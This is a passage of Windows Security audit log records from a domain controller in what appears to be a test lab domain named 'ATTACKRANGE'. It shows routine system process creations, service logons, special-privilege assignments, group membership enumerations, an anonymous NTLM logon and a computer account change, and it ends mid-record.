Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x990
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x884
	Creator Process Name:	C:\Windows\System32\RemoteFXvGPUDisablement.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248222
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x984
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x964
	Creator Process Name:	C:\Windows\System32\CompatTelRunner.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248224
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0xa38
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248230
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xad8
	New Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248229
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab0
	New Process Name:	C:\Windows\servicing\TrustedInstaller.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\servicing\TrustedInstaller.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248228
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:44:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248227
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248226
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:44:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248225
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:44:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248232
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x370
	Process Name:		C:\Windows\System32\lsass.exe
03/11/2021 11:44:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248231
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x370
	Process Name:		C:\Windows\System32\lsass.exe
03/11/2021 11:44:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248235
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb2c
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k smbsvcs

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248234
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:44:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248233
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248236
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb74
	New Process Name:	C:\Windows\System32\taskhostw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	taskhostw.exe SYSTEM

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=248261
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	3/1/2021 12:38:06 PM
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	-

Additional Information:
	Privileges:		-
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248260
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c4
	New Process Name:	C:\Windows\System32\dfssvc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\dfssvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248259
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248258
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248257
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x294B0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	NTLM V1
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248256
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x788
	New Process Name:	C:\Windows\System32\dfsrs.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\DFSRs.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248255
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c8
	New Process Name:	C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248254
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x988
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k appmodel

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248253
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
